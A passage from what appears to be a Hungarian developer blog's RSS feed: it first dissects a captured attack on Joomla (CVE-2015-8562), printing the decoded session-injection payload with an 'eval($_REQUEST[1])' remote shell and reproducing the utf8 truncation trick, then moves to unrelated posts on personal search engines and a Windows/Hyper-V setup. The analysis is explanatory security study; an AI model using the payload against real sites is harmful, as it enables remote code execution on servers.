<p>A probléma csak az, hogy az eredeti HTTP kérés nem a <code>webconfig.txt.php</code>-ra érkezett, így az <code>1</code> paraméterben kapott kódot nem is futtatta le a remote shell. Meg minek is küldenének a remote shell-nek egy olyan parancsot, hogy hozza létre saját magát? Biztos a user agent értékében lesz valami huncutság.</p>
<h3>Kód újrahasznosítás</h3>
<p>Egy kis formázás és dekódolás után ezt kapjuk:</p>
<pre><code>}__test|O:21:&quot;JDatabaseDriverMysqli&quot;:3:{
  s:2:&quot;fc&quot;;O:17:&quot;JSimplepieFactory&quot;:0:{}
  s:21:&quot;\0\0\0disconnectHandlers&quot;;a:1:{
    i:0;a:2:{
      i:0;O:9:&quot;SimplePie&quot;:5:{
        s:8:&quot;sanitize&quot;;O:20:&quot;JDatabaseDriverMysql&quot;:0:{}
        s:8:&quot;feed_url&quot;;s:46:&quot;eval($_REQUEST[1]);JFactory::getConfig();exit;&quot;;
        s:19:&quot;cache_name_function&quot;;s:6:&quot;assert&quot;;
        s:5:&quot;cache&quot;;b:1;
        s:11:&quot;cache_class&quot;;O:20:&quot;JDatabaseDriverMysql&quot;:0:{}
      }
      i:1;s:4:&quot;init&quot;;
    }
  }
  s:13:&quot;\0\0\0connection&quot;;b:1;
}\xF0\x9D\x8C\x86
</code></pre>
<p>Huncutságból nincs hiány, az már egyszer biztos. Rögtön egy <code>}</code> karakterrel kezdünk, ami utalhat egy injection jellegű támadásra, amiben ezzel a karakterrel akarják lezárni az előző értéket.</p>
<p>A következő rész rutinosabb PHP fejlesztőket a <code>serialize</code>-ra emlékeztetheti, de nem teljesen egyezik a formátum. A <code>session_encode</code> ad vissza ilyet és a session-ben található adatok vannak ezzel az enkódolással tárolva szerver oldalon. A végén még van egy furcsa <code>\xF0\x9D\x8C\x86</code> karaktersor, amit egyelőre nem tudunk hova tenni, de biztos az is rosszban sántikál.</p>
<p>Olyan, mintha valahogy a <code>User-Agent</code> header-ön keresztül próbálnának létrehozni egy új változót a session-ben. Ez az új <code>__test</code> változó a <code>JDatabaseDriverMysqli</code> osztály egy példánya lesz, ami azt állítja magáról, hogy van aktív kapcsolata (a <code>connection</code> értéke <code>true</code>) és van egy disconnect handler-je is, a <code>SimplePie</code> osztály egy példánya, aminek az <code>init</code> metódusát kellene majd meghívni disconnect esetén. Ez már önmagában is elég szokatlan, de ha megnézzük a példány <code>feed_url</code>-jét, az még több gyanúra ad okot:</p>
<pre><code class="hljs php"><span class="hljs-keyword">eval</span>($_REQUEST[<span class="hljs-number">1</span>]);JFactory::getConfig();<span class="hljs-keyword">exit</span>;
</code></pre>
<p>Még egy remote shell, biztos, ami biztos.</p>
<h3>A Joomla mélyén</h3>
<p>A <code>J</code>-vel kezdődő osztály nevekből ki lehet deríteni, hogy <a href="https://www.joomla.org/">Joomla</a>-ról van szó. További keresgéléssel <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8562">a konkrét sebezhetőséget is meg lehet találni</a>, amiből kiderül a pontos verzió is. Így már meg tudjuk nézni, hogy mi történik a kódban. A <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/database/driver/mysqli.php#L199"><code>JDatabaseDriverMysqli</code> releváns része</a>:</p>
<pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">$this</span>-&gt;disconnect();
}

<span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">disconnect</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">$this</span>-&gt;connection)
    {
        <span class="hljs-keyword">foreach</span> (<span class="hljs-keyword">$this</span>-&gt;disconnectHandlers <span class="hljs-keyword">as</span> $h)
        {
            call_user_func_array($h, <span class="hljs-keyword">array</span>( &amp;<span class="hljs-keyword">$this</span>));
        }

        mysqli_close(<span class="hljs-keyword">$this</span>-&gt;connection);
    }

    <span class="hljs-keyword">$this</span>-&gt;connection = <span class="hljs-keyword">null</span>;
}
</code></pre>
<p>Az objektum megszűnése előtt lefut a <code>disconnect</code>, ami meghívja az összes disconnect handler-t, esetünkben a gyanús <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/simplepie/simplepie.php#L1504"><code>SimplePie</code> példányunk <code>init</code> metódusát</a>:</p>
<pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">init</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-comment">// ...</span>

    $cache = call_user_func(
        <span class="hljs-keyword">array</span>(<span class="hljs-keyword">$this</span>-&gt;cache_class, <span class="hljs-string">'create'</span>),
        <span class="hljs-keyword">$this</span>-&gt;cache_location,
        call_user_func(<span class="hljs-keyword">$this</span>-&gt;cache_name_function, <span class="hljs-keyword">$this</span>-&gt;feed_url),
        <span class="hljs-string">'spc'</span>
    );

    <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>A számunkra érdekesnek tűnő rész az, hogy a <code>cache_name_function</code> meghívódik és a <code>feed_url</code>-t kapja meg paraméterként. A user agent-ben lévő adatokkal ez a következő hívást jelenti:</p>
<pre><code class="hljs php">call_user_func(<span class="hljs-string">'assert'</span>, <span class="hljs-string">'eval($_REQUEST[1]);JFactory::getConfig();exit;'</span>);
</code></pre>
<p>Elég régi ez a sebezhetőség, úgyhogy a kód az <code>assert</code> függvény PHP 8.0.0 előtti működésére támaszkodik, amikor még egy string-et várt első paraméternek, amit lefuttatott és kiértékelt. Ez a hívás tehát végrehajtaná a GET paraméterben kapott PHP kódot.</p>
<p>Sikerült megfejteni a log sort, itt az ideje összefoglalni, hogy mire is jutottunk:</p>
<ul>
<li>GET paraméterben kapunk egy PHP kódot, ami ha lefut, létrehoz egy remote shell-t</li>
<li>a user agent-ben egy injection-nek tűnő dolog van, ami egy új változót csinál a session-ben</li>
<li>az új változó egy olyan gondosan összeállított objektum struktúra, ami az objektum megszűnése esetén lefuttatja a GET paraméterben kapott PHP kódot</li>
</ul>
<p>A Joomla <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/session/session.php#L1017">egy ponton tényleg belerakja a user agent-et a session-be</a>. Konfigurációtól függően ez a session sok helyen tárolódhat, de az alap beállítás az, hogy a <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/session/storage/database.php#L77">MySQLi driver segítségével lementődik egy MySQL táblába</a>. Egy fontos részlet még itt, hogy a kapcsolódás során <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/database/driver/mysqli.php#L675">beállít egy <code>utf8</code>-as karakterkészletet az adatbázis kapcsolaton</a> (és valószínűleg az adatbázisnak és a tábláknak is hasonlóan <code>utf8</code> a karakterkészlete). De hogy lesz ebből injection?</p>
<h3>Furcsa működések</h3>
<p>Két gyanúsítottunk maradt, a PHP session kezelése és a session adatok tárolása MySQL-ben. Kezdjük a PHP-val. Nézzünk meg egy egyszerű példát, hogy a session mentés által is használt <code>session_encode</code> hogyan is működik:</p>
<pre><code class="hljs php">session_start();

$_SESSION[<span class="hljs-string">'foo'</span>] = <span class="hljs-keyword">array</span>();
$_SESSION[<span class="hljs-string">'bar'</span>] = <span class="hljs-string">'something'</span>;

<span class="hljs-keyword">print</span>(session_encode() . <span class="hljs-string">"\n"</span>);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}bar|s:9:&quot;something&quot;;
</code></pre>
<p>Így, hogy már tudjuk, nagyjából hogyan néz ki az elvárt kimenet, próbáljunk meg belevinni az egészbe egy kis huncutságot:</p>
<pre><code class="hljs php">session_start();

$_SESSION[<span class="hljs-string">'foo'</span>] = <span class="hljs-keyword">array</span>();
$_SESSION[<span class="hljs-string">'evil'</span>] = <span class="hljs-string">"}__test|O:8:\"stdClass\":1:{s:4:\"evil\";b:1;}\xF0\x9D\x8C\x86"</span>;
$_SESSION[<span class="hljs-string">'bar'</span>] = <span class="hljs-string">'something'</span>;

<span class="hljs-keyword">print</span>(session_encode() . <span class="hljs-string">"\n"</span>);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}evil|s:46:&quot;}__test|O:8:&quot;stdClass&quot;:1:{s:4:&quot;evil&quot;;b:1;}𝌆&quot;;bar|s:9:&quot;something&quot;;
</code></pre>
<p>Ez eddig nem tűnik túl izgalmasnak, csak stringként oda lett <code>serialize</code>-olva a huncutságunk, a furcsa karaktersorról pedig kiderült, hogy csak egy 4 byte-os UTF-8 karakter. De mi történik akkor, ha megpróbáljuk ezt az adatot visszaolvasni?</p>
<pre><code class="hljs php">$data = session_encode();

$_SESSION = <span class="hljs-keyword">array</span>();
session_decode($data);

var_dump($_SESSION);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  [&quot;foo&quot;]=&gt;
  array(0) {
  }
  [&quot;evil&quot;]=&gt;
  string(46) &quot;}__test|O:8:&quot;stdClass&quot;:1:{s:4:&quot;evil&quot;;b:1;}𝌆&quot;
  [&quot;bar&quot;]=&gt;
  string(9) &quot;something&quot;
}
</code></pre>
<p>Egyáltalán semmi rendkívüli. Elég kiábrándító. Talán annak a <code>\xF0\x9D\x8C\x86</code> résznek a MySQL-hez van köze. Húzzunk fel egy szervert és nézzük meg.</p>
<pre class="file"><code>docker-compose.yml
</code></pre>
<pre><code class="hljs yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">'3'</span>
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">app:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">php:5.3.29</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">.:/app</span>
    <span class="hljs-attr">working_dir:</span> <span class="hljs-string">/app</span>
  <span class="hljs-attr">db:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">mysql:5.6.51</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">MYSQL_ROOT_PASSWORD:</span> <span class="hljs-string">secret</span>
      <span class="hljs-attr">MYSQL_DATABASE:</span> <span class="hljs-string">test</span>
</code></pre>
<p>A kis teszt script-ünk kapcsolódik az adatbázishoz, beállítja <code>utf8</code>-ra a kapcsolat karakterkészletét, létrehoz egy táblát ugyanazzal a karakterkészlettel és belerak egy sort, aminek a közepén benne van a mi huncut kis bitkolbászunk. Végül pedig vissza is olvassuk ezt az adatot.</p>
<pre><code class="hljs php">$db = <span class="hljs-keyword">new</span> mysqli(<span class="hljs-string">'db'</span>, <span class="hljs-string">'root'</span>, <span class="hljs-string">'secret'</span>, <span class="hljs-string">'test'</span>);
$db-&gt;set_charset(<span class="hljs-string">'utf8'</span>);

$db-&gt;query(<span class="hljs-string">"CREATE TABLE test (id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY, data TEXT NOT NULL) CHARACTER SET utf8"</span>);

$stmt = $db-&gt;prepare(<span class="hljs-string">"INSERT INTO test (data) VALUES (?)"</span>);

$data = <span class="hljs-string">"foo\xF0\x9D\x8C\x86bar"</span>;

$stmt-&gt;bind_param(<span class="hljs-string">'s'</span>, $data);
$stmt-&gt;execute();

$result = $db-&gt;query(<span class="hljs-string">"SELECT * FROM test"</span>);
var_dump($result-&gt;fetch_assoc());

$db-&gt;query(<span class="hljs-string">"DROP TABLE test"</span>);
</code></pre>
<pre class="console"><code>$ docker-compose run --rm app php test.php
array(2) {
  [&quot;id&quot;]=&gt;
  string(1) &quot;1&quot;
  [&quot;data&quot;]=&gt;
  string(3) &quot;foo&quot;
}
</code></pre>
<p>Na, végre valami történik. A bitkolbász és az utána lévő rész eltűnt.</p>
<p>A trükk az, hogy az <code>utf8</code> (teljes nevén <code>utf8mb3</code>, azaz <a href="https://dev.mysql.com/doc/refman/5.7/en/charset-unicode-utf8mb3.html">3-Byte UTF-8 Unicode Encoding</a>) nem támogatja a 4 byte-os UTF-8 karaktereket (arra van egy külön <code>utf8mb4</code>), ha ilyennel találkozik, akkor eldobja az adat maradékát és csak az első felét tárolja le.</p>
<p>Nézzük meg mi történik a PHP <code>session_decode</code> környékén, ha szimuláljuk ezt a viselkedést:</p>
<pre><code class="hljs php">$data = session_encode();
$data = substr($data, <span class="hljs-number">0</span>, strpos($data, <span class="hljs-string">"\xF0\x9D\x8C\x86"</span>));

$_SESSION = <span class="hljs-keyword">array</span>();
session_decode($data);

var_dump($_SESSION);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  [&quot;foo&quot;]=&gt;
  array(0) {
  }
  [&quot;evil&quot;]=&gt;
  NULL
  [&quot;46:&quot;}__test&quot;]=&gt;
  object(stdClass)#1 (1) {
    [&quot;evil&quot;]=&gt;
    bool(true)
  }
}
</code></pre>
<p>Úgy tűnik a PHP elég rosszul kezeli a hiányos session adatokat. Ezzel végre sikerült reprodukálnunk azt a működést, ami végül ahhoz vezet, hogy a feltűnően furcsa HTTP kérés hatására létrejön egy remote shell a szerveren.</p>
<p>Szemfüles olvasók azt is kiszúrhatták, hogy elég régi PHP és MySQL van a példákban használva. Ennek csupán egyetlen oka van. Az, hogy frissebb verziók esetén ez már nem működne.</p>
<p>A huncut kis bitkolbászt tartalmazó sor beszúrása MySQL 5.7.42-ben:</p>
<pre class="console"><code>$ docker-compose run --rm app php test.php
Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'Incorrect string value: '\xF0\x9D\x8C\x86ba...' for column 'data' at row 1' in /app/test.php:14
Stack trace:
#0 /app/test.php(14): mysqli_stmt-&gt;execute()
#1 {main}
  thrown in /app/test.php on line 14
</code></pre>
<p>A levágott végű session adat dekódolása PHP 5.4.45-ben:</p>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.4.45 php test.php
Warning: session_decode(): Failed to decode session object. Session has been destroyed in /app/test.php on line 43
array(1) {
  [&quot;foo&quot;]=&gt;
  array(0) {
  }
}
</code></pre>
<h3>Összegzés</h3>
<p>Hosszú volt az út idáig, nézzük át még egyszer, hogy mi is kellett ahhoz, hogy ezt a sebezhetőséget ki lehessen használni:</p>
<ul>
<li>elég régi PHP és MySQL (a sebezhetőség publikálásának idején az 5.4-es PHP és 5.7-es MySQL már évek óta elérhető volt)</li>
<li>a session tárolása MySQL-ben egy <code>utf8</code>-as táblában és <code>utf8</code>-as adatbázis kapcsolattal</li>
<li>felhasználótól származó, nem megbízható adat tárolása session-ben</li>
<li>olyan osztályoknak a megléte a kódban, amit ha nem rendeltetésszerűen kombinálunk össze, akkor végül sikeresen lefuttat egy string-et PHP kódként</li>
</ul>
<p>Mi ebből a tanulság? Nem tudom... ha mindent jól csinálsz, akkor is félremehetnek a dolgok? Mindenesetre jusson eszetekbe ez a kis nyomozás, amikor legközelebb úgy gondoljátok, hogy egy lehetséges sérülékenységet (legyen az akár egy használt library-ben, kedvenc programozási nyelvetek interpreter-ében vagy az adatbázisban) úgyse lehet kihasználni a kódotokból.</p>
<h3>További olvasnivalók</h3>
<ul>
<li><a href="https://websec.files.wordpress.com/2010/11/rips_ccs.pdf">Code Reuse Attacks in PHP: Automated POP Chain Generation</a></li>
<li><a href="https://blog.cloudflare.com/the-joomla-unserialize-vulnerability/">A Different Kind of POP: The Joomla Unserialize Vulnerability</a></li>
<li><a href="https://www.owasp.org/index.php/PHP_Object_Injection">OWASP: PHP Object Injection</a></li>
</ul>

]]></content:encoded>
        </item>
            <item>
            <title>Tű a szénakazalban</title>
            <link>https://deadlime.hu/2023/07/01/tu-a-szenakazalban/</link>
            <pubDate>Sat, 01 Jul 2023 15:04:25 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[keresés]]></category>
                    
            <guid isPermaLink="false">9215f6595f157f5f9c05eefde219ffc1</guid>
            <description>Csak álom-e egy saját kereső?</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/crawler.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Ma egy gondolatkísérletre invitálom meg a kedves olvasókat: mi lenne, ha mindenkinek saját, személyre szabott (akár lokális) keresője lenne, ahelyett, hogy központi szolgáltatókat (DuckDuckGo, Google, Bing és a többiek) kellene használni?</p>
<p>Nyilván adatvédelmi szempontból hatalmas előrelépés, ha nem óriásvállalatok gyűjtenek a világon mindenkiről ki tudja milyen adatokat, amikkel aztán ki tudja mit kezdenek, de vajon technológiailag megoldható?</p>
<h3>A kereső</h3>
<p>Mielőtt belemerülnénk a részletekbe, nagy vonalakban nézzük meg, hogy nagyjából hogyan is épülhet fel egy kereső.</p>
<h4>Letöltés</h4>
<p>Vannak crawler-nek nevezett programok, amik meglátogatnak egy oldalt, lementik a HTML forrását, kigyűjtik belőle a linkeket, azokat az oldalakat is meglátogatják, kigyűjtik belőlük a linkeket és így tovább. A jól viselkedő crawler-ek betartják a <a href="https://en.wikipedia.org/wiki/Robots.txt">robots.txt</a>-ben leírtakat, munkájukat pedig segítheti a <a href="https://en.wikipedia.org/wiki/Sitemaps">sitemap.xml</a>.</p>
<h4>Feldolgozás</h4>
<p>A rengeteg HTML forrásból ki kell nyerni a hasznos adatokat, esetleg valamiféle kontextussal együtt, hogy hol lett megtalálva a szöveg (például az oldal főcíme vagy lábléc szöveg), ami később felhasználható súlyozásra. További metaadatok nyerhetőek ki, ha a weboldal használja az <a href="https://en.wikipedia.org/wiki/Facebook_Platform#Open_Graph_protocol">Open Graph</a>, <a href="https://en.wikipedia.org/wiki/Microformat">Microformats</a> vagy <a href="https://en.wikipedia.org/wiki/Schema.org">Schema.org</a> protokollokat.</p>
<h4>Tárolás</h4>
<p>Itt több változat is lehetséges, attól függően, hogy mennyi adatot vagyunk hajlandóak tárolni. Amit mindenképpen tárolnunk kell, az egy index, ami megmondja, hogy egy szó vagy egy kifejezés melyik oldalon található meg. Ha a találati oldalon meg akarjuk jeleníteni a találat szövegkörnyezetét is, akkor tárolnunk kell a feldolgozás által kinyert adatokat is. Ha lokálisan szeretnénk megmutatni a weboldalt, amiből a találat keletkezett, akkor a teljes HTML oldalra is szükségünk lesz.</p>
<h4>Keresés</h4>
<p>Egy (web)alkalmazás, ami a felhasználó által megadott keresőkifejezést adatbázis lekérdezéssé alakítja és megjeleníti a találatokat.</p>
<h3>Töltsük le az Internetet</h3>
<p>Az első problémánk tehát a crawler. Az Internet szerint nagyjából 400 millió aktív weboldal lehet manapság. Ha mindegyiknek csak 10 oldala van (valószínűleg erős alábecslés), akkor is már 4 milliárd meglátogatandó oldalról beszélünk. Ha minden oldalt 100ms alatt le tudunk tölteni és ki tudjuk nyerni belőle a linkeket (szintén erősen optimista becslés), akkor egy crawler-nek több, mint 12 évébe tartana meglátogatni mindent. Mondjuk ezer párhuzamos crawler már 4-5 nap alatt végezhetne... biztos izgalmas lenne, ha több milliárd ember elkezdene fejenként ezer crawler-t ráküldeni az Internetre, hogy megépítse a saját indexét.</p>
<p>És akkor ez még egy nagyon optimista becslés volt. Hogy mennyire? Gondoljunk csak bele, hogy a k...edves fejlesztők előszeretettel építenek manapság olyan oldalakat, amik (több megabájtnyi) JavaScript letöltése és futtatása nélkül használhatatlanok. Szóval lehet, hogy egy headless böngésző kellene a végleges HTML kinyeréséhez, ami aztán biztos nem fog végezni 100ms alatt. Ez legalább egy (de lehet, hogy inkább két) nagyságrenddel lassabb lenne.</p>
<p>Ekkora adat mennyiségnél a feldolgozás is valószínűleg túl sok idő és erőforrás lenne. Még akkor is, ha mindenhol kézműves gondossággal összerakott, minimalista szerkezetű, szintaktikailag és szemantikailag is helyes HTML oldalak lennének... de nyilván ez nem így van a valóságban. Aztán ott vannak még a SEO ügyeskedések is, mint például a felhasználók számára nem látszódó, de a crawler számára jelen lévő szövegek és hasonló trükkök, amiket jó lenne kiszűrni.</p>
<p>Hasonló problémába ütközünk a tárolás területén is. A Google indexe a saját állítása szerint több, mint 100 000 000 gigabyte méretű. Még ha ennek a nagy részét képek és videók teszik ki, ez azért nem egy olyan nagyságrend, ami kényelmesen elférne egy asztali számítógépen. Szóval úgy tűnik, hogy a négy részből hárommal is (letöltés, feldolgozás, tárolás) gondok vannak. Nem túl jó arány.</p>
<h3>Alternatív megoldások</h3>
<p>A rengeteg crawler okozta túlterhelést meg lehetne úgy oldani, hogy a crawler-ek beszélgethetnének egymás között is, hogy ki hol járt már és mehetne köztük is a csere-bere, bár így hirtelen nem tudom, hogy hogyan lehetne ezt biztonságosan megoldani, hogy egy zsivány crawler ne tudjon megmérgezni hamis információkkal másokat. Az adatmennyiségen viszont ez sem segít.</p>
<p>De tényleg szükségünk van az <em>egész</em> Internetre? Jó eséllyel csak egy-két nyelv érdekel minket a saját anyanyelvünkön kívül és abból sem a teljes felhozatal. Ha valahogy meg lehetne mondani, hogy az Internet melyik egy százaléka érdekel minket, akkor azzal talán működőképes lenne a saját kereső. Beadhatnánk a személyes keresőnknek oldalakat, amiket fontosnak tartunk, aztán a rajtuk található külső hivatkozásokon is végigmehetne, és így tovább. A végén lenne egy nem annyira nagy HTML halmazunk, ami jó eséllyel még elfér a gépünkön.</p>
<p>Végeredményben viszont nem tűnik gazdaságosnak (vagy akár lehetségesnek), hogy mindenki saját crawler-eket futtasson és saját indexet gyártson. Ez viszont még nem feltétlenül jelenti azt, hogy ne lehetne mindenkinek saját példánya az indexből. Lehetne mondjuk valami nyílt index formátum vagy adatbázis szerkezet és bárki publikálhatna saját indexeket.</p>
<p>A lehetőségek száma végtelen, de nézzünk meg pár ötletet kedvcsinálónak:</p>
<ul>
<li>tematikus indexek, például index programozóknak, dokumentációkkal, StackOverflow-val és egyebekkel</li>
<li>nagy oldalak publikálnak saját indexet a tartalmaikról (nem kell hozzájuk crawler, cserébe megbízol bennük, hogy az van az index-ben, ami az oldalon is)</li>
<li>lokáció alapú indexek, ha szeretnéd megtalálni a szombathelyi fagyizókat</li>
<li>cégek, akik fizetős indexeket gyártanak</li>
<li>könyvtárak, állami szervezetek, akik a saját nyelvük tartalmaiból csinálnának indexeket</li>
<li>nonprofit szervezetek indexei, mint mondjuk az archive.org, aminek már egyébként is vannak ilyen adatai</li>
<li>gyakran frissülő hír jellegű indexek</li>
<li>ritkán frissülő enciklopédia jellegű indexek</li>
<li>a szomszéd Józsi indexe, amit a kedvenc weboldalaiból készített</li>
</ul>
<p>A felhasználó pedig betöltheti a személyes keresőjébe a választott indexeket, törölhet belőle olyan részeket, amik számára nem relevánsak, hogy helyet spóroljon, vagy jobb találatokat kapjon. A keresésnél pedig ki lehetne választani, hogy melyik indexekben keressen.</p>
<p>Innentől az index szolgáltató megválasztása határozza meg a találatok minőségét, de gondolom idővel ez kialakulna, hogy mik azok az indexek, amiket érdemes használni, hogyan érdemes őket testre szabni, vagy ha valamelyik index minősége romlik, nem elég friss, akkor lehet új szolgáltatókat keresni. A kicsit hozzáértőbbeknek pedig továbbra is megvan a lehetőségük, hogy saját crawler-t indítsanak és saját indexet építsenek (amit aztán eladhatnak másoknak is).</p>
<p>Magáról a keresésről nem sok szót ejtettünk, de az a rész elég egyértelműnek tűnik. Mivel az index nyílt formátumú, bárki készíthetne rá szoftvereket. Valószínűleg készülne pár remek nyílt forráskódú alternatíva, akár asztali alkalmazásként, akár saját szerverre telepíthető webalkalmazásként. Aztán plugin-ek ezekhez az alkalmazásokhoz, amik számológéppel, valutaváltóval, keresési előzményekkel és ki tudja még mennyi mindennel egészíthetnék ki az alap funkcionalitást.</p>
<h3>Összegzés</h3>
<p>Lenne még itt-ott néhány apróbb ötletem, de nem akartam túl sokat csapongani. Térjünk inkább vissza az eredeti kérdésünkhöz. Csak álom-e egy saját kereső? Ha az egész Interneten szeretnél keresni: igen. A boldogsághoz (vagy egy jól működő keresőhöz) viszont nem biztos, hogy az egész Internetre szükség van. Megfelelő index szolgáltatókkal és a végfelhasználó számára is elfogadható index méretekkel azt hiszem működhetne a dolog.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Az ablakokon túl</title>
            <link>https://deadlime.hu/2023/06/24/az-ablakokon-tul/</link>
            <pubDate>Sat, 24 Jun 2023 14:04:18 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Docker]]></category>
                    <category><![CDATA[Samba]]></category>
                    <category><![CDATA[GnuPG]]></category>
                    <category><![CDATA[Hyper-V]]></category>
                    <category><![CDATA[Windows]]></category>
                    <category><![CDATA[fejlesztés]]></category>
                    
            <guid isPermaLink="false">ac5b2d72d58d77ad114e2b7d24ea0677</guid>
            <description>Tárlatvezetés a fejlesztői környezetemben</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/developers.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Web fejlesztők munka közben; Leonardo da Vinci egyik késői munkája</p>

<p>Néha kihalófélben lévő állatfajnak érzem magam a sok harapott alma között, úgyhogy most mesélek egy kicsit arról, hogy Windows-t használó (web)fejlesztőként hogyan is néz ki a fejlesztői környezetem.</p>
<blockquote>
<p><em>Ahogyan a napsugarak lassan áthatolnak a három rétegű edzett üvegen, az egyik legkülönlegesebb lényt figyelhetjük meg az északi félgömbön - a Scriptor fenestralis-t, ismertebb nevén a Windows-os webfejlesztőt.</em><br />
<br />
<em>Természetes élőhelyük a mesterséges világítás és a hűvös hőmérséklet ideális kombinációja, mely optimális környezetet teremt a szellemi kihívásokkal teli munkához.</em></p>
</blockquote>
<p>Röviden és tömören: egy Windows-os host gép, amin egy Debian alapú virtuális gép fut Hyper-V segítségével. Azon belül pedig Docker-t használok a konkrét projektek futtatására. Nem a technológia csúcsa, de még nem szántam rá magam a komolyabb kísérletezgetésre a WSL2-vel. No de lássuk a részleteket.</p>
<h3>A fizikai gép</h3>
<p>Korábban VirtualBox-ot használtam, de aztán váltottam Hyper-V-re, mert az már alapból benne van a Windows-ban, csak be kell kapcsolni. Meg gondoltam, ha már hivatalos megoldás, lehet jobban is működik. Nincsen semmi, amivel ezt alá tudnám támasztani, max. az jut eszembe, hogy a gép indulásával együtt a virtuális gép is elindul, de lehet, hogy VirtualBox-ban is lehetne ilyet csinálni.</p>
<h4>Hálózat</h4>
<p>Ha el akarjuk érni a virtuális gépünket (vagy a virtuális gépünkről az Internetet), akkor be kell állítani neki egy hálózatot. Itt két irányba is mehetünk, használhatunk <code>External switch</code>-et vagy <code>Internal switch</code>-et  (van <code>Private switch</code> is, de az nekünk most nem segít).</p>
<p>Az asztali gépem esetében az <code>External switch</code> opcióval mentem, összekötöttem a hálókártyával, amin kapja a gép az Internetet és ezzel nagyjából meg is volnánk. A router számára úgy látszik a virtuális gép is, mintha egy rendes fizikai gép lenne a hálózaton. A MAC címe alapján adtam neki egy fix IP címet a DHCP szerveren és egy hostot a DNS szerveren, ami erre az IP címre oldódik fel (<code>devbox.lan</code>).</p>
<p>Ez egy ritkán mozgatott asztali gép számára elfogadható megoldás lehet, de mi a helyzet mondjuk egy laptop esetén, ahol nem biztos, hogy hozzáférünk minden router-hez, hogy ezt meg tudjuk oldani? Erre lehet megoldás az <code>Internal switch</code>, amit a következő PowerShell parancsokkal konfiguráltam fel:</p>
<pre><code class="hljs powershell">&gt; <span class="hljs-built_in">New-VMSwitch</span> <span class="hljs-literal">-SwitchName</span> <span class="hljs-string">"Internal"</span> <span class="hljs-literal">-SwitchType</span> Internal
&gt; <span class="hljs-built_in">New-NetIPAddress</span> <span class="hljs-literal">-IPAddress</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.1</span> <span class="hljs-literal">-PrefixLength</span> <span class="hljs-number">24</span> <span class="hljs-literal">-DefaultGateway</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.1</span> <span class="hljs-literal">-InterfaceAlias</span> <span class="hljs-string">"vEthernet (Internal)"</span>
&gt; <span class="hljs-built_in">New-NetNAT</span> <span class="hljs-literal">-Name</span> <span class="hljs-string">"InternalNatNetwork"</span> <span class="hljs-literal">-InternalIPInterfaceAddressPrefix</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.0</span>/<span class="hljs-number">24</span>
</code></pre>
<p>A <code>192.168.56.0/24</code>-es tartományt használjuk, de DHCP híján nem kapunk belőle automatikusan IP címet, úgyhogy a virtuális gépen belül kell egy fix IP címet megadnunk. Debian esetén valahogy így, a <code>/etc/network/interfaces</code> fájlban:</p>
<pre><code class="hljs yaml"><span class="hljs-string">iface</span> <span class="hljs-string">eth0</span> <span class="hljs-string">inet</span> <span class="hljs-string">static</span>
  <span class="hljs-string">address</span> <span class="hljs-number">192.168</span><span class="hljs-number">.56</span><span class="hljs-number">.101</span>
  <span class="hljs-string">netmask</span> <span class="hljs-number">255.255</span><span class="hljs-number">.255</span><span class="hljs-number">.0</span>
  <span class="hljs-string">gateway</span> <span class="hljs-number">192.168</span><span class="hljs-number">.56</span><span class="hljs-number">.1</span>
</code></pre>
<p>Ha pedig host-ot is szeretnénk neki, akkor azt felvehetjük a <code>C:\Windows\System32\drivers\etc\hosts</code> fájlban:</p>
<pre><code>192.168.56.101 devbox.lan
</code></pre>
<p>Néha szükség van rá, hogy a virtuális gép egy portját <code>localhost</code>-on is elérjem (ha valami a virtuális gépen belül a 8080-as porton fut, akkor azt elérjem <code>localhost:8080</code>-on is). Ehhez eleinte a következő PowerShell parancsot használtam:</p>
